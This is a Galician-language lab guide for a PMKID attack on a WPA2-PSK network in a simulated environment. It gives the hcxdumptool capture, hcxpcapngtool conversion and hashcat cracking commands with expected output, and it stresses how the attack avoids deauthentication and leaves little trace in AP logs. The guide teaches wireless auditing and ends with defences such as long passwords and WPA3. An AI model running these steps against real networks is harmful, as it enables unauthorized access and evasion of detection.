Guía de Práctica 1.3: Ataque PMKID a WPA2-PSK
Baseada na práctica 1-Taller-HE-Practica-WiFi-3.pdf
1. Contexto
Nesta práctica aprenderás unha técnica moderna de auditoría WPA2-PSK que é moito menos intrusiva que o ataque de handshake tradicional. O PMKID é un identificador incluído no primeiro paquete EAPOL que o AP envía, e permite auditar o contrasinal sen necesidade de deautenticar clientes lexítimos.
Vantaxes principais sobre Práctica 1.1:
- NON require deautenticación → Cliente lexítimo NON se entera do ataque
- Captura en 15-30 segundos (máis rápida que handshake tradicional)
- NON require capturar 4 paquetes EAPOL (só 1 é suficiente)
- Moito menos intrusivo → Cliente mantén conexión activa
Nota técnica sobre clientes:
Na práctica, algúns APs (incluído hostapd) só envían PMKID cando hai polo menos un cliente lexítimo con sesión activa (PTK establecida). Isto débese a que o AP só calcula/cachea a PMK despois da primeira autenticación exitosa dun cliente. Por iso, nesta práctica usamos o escenario psk que ten un cliente lexítimo (wlan1) conectado.
Diferenza clave con Práctica 1.1:
- Práctica 1.1: Deautenticamos ao cliente → Cliente perde conexión
- Práctica 1.3: Cliente mantén conexión → Ataque silencioso ✓
2. Preparación do Escenario (Terminal 1)
Arranca o laboratorio para despregar o AP lexítimo (EMPRESA-XYZ) con cliente conectado.
Nota Importante sobre PMKID
Aínda que o ataque PMKID non require que O ATACANTE sexa un cliente lexítimo (non necesita o contrasinal previamente), algúns APs só envían o PMKID cando hai polo menos unha asociación activa no AP. Por iso, nesta práctica:
- Usamos o escenario
pskque ten un cliente lexítimo (wlan1) conectado - O cliente lexítimo mantén o AP "activo" e a PMK cacheada
- O atacante (wlan2) envía Association Requests e recibe PMKID
- NON precisamos deautenticar ao cliente (diferenza clave con Práctica 1.1)
- NON precisamos esperar por handshakes completos (captura en segundos)
Vantaxe sobre Práctica 1.1:
- Práctica 1.1: Require deautenticación → Cliente perde conexión temporalmente
- Práctica 1.3: NON require deautenticación → Cliente NON se entera do ataque
3. Recoñecemento e Modo Monitor (Terminal 1)
Pon a túa tarxeta Wi-Fi de ataque (wlan2) en modo monitor.
Preme Ctrl+C para deter airodump-ng.
4. Captura de PMKID (Terminal 1)
Usa hcxdumptool para capturar o PMKID directamente do AP.
# Crear directorio para capturas
mkdir -p ~/capturas-pmkid
cd ~/capturas-pmkid
# Capturar PMKID do AP no canal 6
sudo hcxdumptool -i wlan2mon -w captura_pmkid.pcapng -c 6a --rds=1
Parámetros importantes:
- -c 6a: Canal 6 en modo activo (envía association requests ao AP)
- --rds=1: Mostrar estado en tempo real
Saída esperada durante a captura:
Significado de ep+++:
- e = EAPOL capturado ✓
- p = PMKID capturado ✓
- +++ = Boa calidade
Cando vexas ep+++, preme Ctrl+C para deter. A captura tarda só 15-30 segundos.
5. Conversión a Formato hashcat (Terminal 1)
Converte o ficheiro capturado a formato que hashcat entende.
# Converter captura
hcxpcapngtool -o captura_pmkid.hc22000 captura_pmkid.pcapng
# Verificar que se xerou correctamente
cat captura_pmkid.hc22000
Saída esperada:
WPA*02*60d9443cc2379bd16ff29371e8aeea87*a6c49421b094*2e2e65aef8ed*454d50524553412d58595a*209c3cccbc531952b5351c647288ac30ca493f7c3aba497c6fb5de9642955dbb*0103007502010a0000000000000000f7b8949a7f3bd65f6f7d7e081f447056fee05f3f40ff2c4f8a24af6a37861d25ad8d000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000001630140100000fac040100000fac040100000fac020000*10
Formato: WPA*02*PMKID*MAC_AP*MAC_STA*ESSID(hex)*EAPOL_data*...
Nota: O formato 22000 de hashcat inclúe tanto PMKID como datos EAPOL completos para máxima compatibilidade.
6. Cracking con hashcat (Terminal 1)
Agora imos crackear o PMKID capturado.
Paso 1: Preparar o dicionario
Paso 2: Lanzar o ataque
Se o ataque ten éxito, verás: Status: Cracked
60d9443cc2379bd16ff29371e8aeea87*a6c49421b094*2e2e65aef8ed*454d50524553412d58595a*...:spongebob19
Session..........: hashcat
Status...........: Cracked
Hash.Mode........: 22000 (WPA-PBKDF2-PMKID+EAPOL)
Time.Started.....: Sat Feb 14 13:57:25 2026 (21 secs)
Speed.#01........: 4493 H/s
Progress.........: 234139/14344385 (1.63%)
Paso 3: Ver o contrasinal recuperado
Resultado esperado:
Contrasinal: spongebob19 ✓
7. Comparación con Práctica 1.1 (Handshake Tradicional)
Práctica 1.1 (Handshake 4-Way):
1. airodump-ng (esperar por clientes)
2. aireplay-ng (forzar deautenticación)
3. Capturar 4 paquetes EAPOL (1/4, 2/4, 3/4, 4/4)
4. aircrack-ng ou hashcat
Tempo: Variable (minutos/horas)
Práctica 1.3 (PMKID):
1. hcxdumptool (captura activa en modo monitor)
2. 1 paquete EAPOL con PMKID
3. hashcat
Tempo: 15-60 segundos
Conclusión: PMKID é moito máis rápido e sigiloso porque non require deautenticar ao cliente lexítimo.
8. Observación Técnica
Por que funciona PMKID?
O PMKID é un hash que o AP envía no primeiro paquete EAPOL:
Como deriva do PMK (Pairwise Master Key), igual que o handshake tradicional, permite auditar o contrasinal da mesma forma.
Por que precisa cliente lexítimo conectado?
Explicación técnica:
1. O PMKID deriva da PMK (PMK = PBKDF2(contrasinal, SSID))
2. Algúns APs (incluído hostapd) só calculan e cachean a PMK despois de completar o primeiro 4-way handshake exitoso dun cliente lexítimo
3. Sen PMK cacheada, o AP non pode xerar nin enviar o PMKID ao atacante
4. Por iso, necesitamos que wlan1 (cliente lexítimo) estea conectado primeiro
Secuencia:
1. wlan1 (cliente) → Autentica con contrasinal → 4-way handshake completo
2. AP → Calcula PMK = PBKDF2("spongebob19", "EMPRESA-XYZ")
3. AP → Cachea PMK en memoria
4. wlan2 (atacante) → Envía Association Request (MAC efémera aleatoria)
5. AP → Xera PMKID = HMAC-SHA1-128(PMK_cacheada, ...)
6. AP → Envía PMKID ao atacante ✓
Limitacións
- Require cliente lexítimo activo (en hostapd e algúns APs comerciais)
- Mesmo esforzo de cracking: Contrasinais fortes (>20 chars) son igual de resistentes
- Rastro nos logs limitado:
hcxdumptoolusa MACs efémeras aleatorias, polo que o rastro é mínimo e indistinguible de actividade normal
Vantaxe Real sobre Práctica 1.1
Aínda que precisa cliente conectado, NON precisa deautenticalo:
- Práctica 1.1: Cliente perde conexión durante segundos → Detectable nos logs (deauthentication)
- Práctica 1.3: Cliente mantén conexión → Ataque sigiloso ✓
9. Verificación nos Logs (Opcional)
Podes examinar os logs do AP para entender o rastro real que deixa o ataque PMKID:
# Ver logs do AP - conexións rexistradas
sudo ip netns exec wifi_ap_wlan0 grep "AP-STA-CONNECTED\|associated" /home/kali/wifiLab/run/psk/hostapd.log
Resultado real que verás:
wlan0: STA 2e:2e:65:ae:f8:ed IEEE 802.11: associated (aid 1)
wlan0: AP-STA-CONNECTED 2e:2e:65:ae:f8:ed
⚠️ Interpretación correcta dos logs:
O que aparece nos logs é a MAC de wlan1 (o cliente lexítimo), NON a do atacante. Podes confirmalo:
# Verificar que esa MAC pertence ao cliente lexítimo (wlan1)
sudo ip netns exec wifi_cliente_wlan1 ip addr show wlan1
Verás que a MAC coincide con wlan1, o cliente lexítimo do escenario psk.
Por que non aparece a MAC do atacante?
hcxdumptool opera en modo monitor e envía frames de asociación con MACs efémeras aleatorias xeradas en tempo real. O AP procesa eses frames ao nivel 802.11 para entregar o PMKID, pero a asociación é tan breve que hostapd normalmente non a rexistra como AP-STA-CONNECTED nos logs de nivel normal.
Isto é moi diferente da Práctica 1.1, onde a deautenticación deixa entradas claras e inconfundibles:
# O que verías nos logs da Práctica 1.1 (NON desta práctica):
wlan0: deauthentication: STA=xx:xx:xx:xx:xx:xx reason_code=7
wlan0: Station xx:xx:xx:xx:xx:xx trying to deauthenticate, but it is not authenticated
Conclusión sobre rastro forense:
| Ataque | Rastro en logs do AP | Detectabilidade |
|---|---|---|
| Práctica 1.1 (deauth + handshake) | Entradas deauthentication explícitas |
Alta ⚠️ |
| Práctica 1.3 (PMKID) | Só a conexión normal de wlan1 (cliente lexítimo) | Moi baixa ✓ |
O ataque PMKID é considerablemente máis silencioso desde o punto de vista forense: os logs do AP só mostran a actividade normal do cliente lexítimo, sen ningunha entrada que delate ao atacante.
10. Limpeza
Ao rematar, apaga o escenario.
sudo wifilabctl reset
# Eliminar capturas (opcional)
rm -rf ~/capturas-pmkid
# Desactivar modo monitor
sudo airmon-ng stop wlan2mon
Notas Finais
Ferramentas Necesarias (xa instaladas en Kali)
hcxdumptool>= 7.0.0hcxpcapngtool(parte de hcxtools)hashcat
Recomendacións de Seguridade
- Para administradores: Usar contrasinais fortes (>20 caracteres aleatorios)
- Migrar a WPA3-SAE: WPA3 é inmune a ataques de dicionario offline (ver Práctica 3.1)
- Activar PMF: Aínda que non protexe contra PMKID, dificulta outros ataques
Referencias
- Descobridor: Jens "atom" Steube (Agosto 2018)
- Hashcat Forum - PMKID Attack
- hcxdumptool GitHub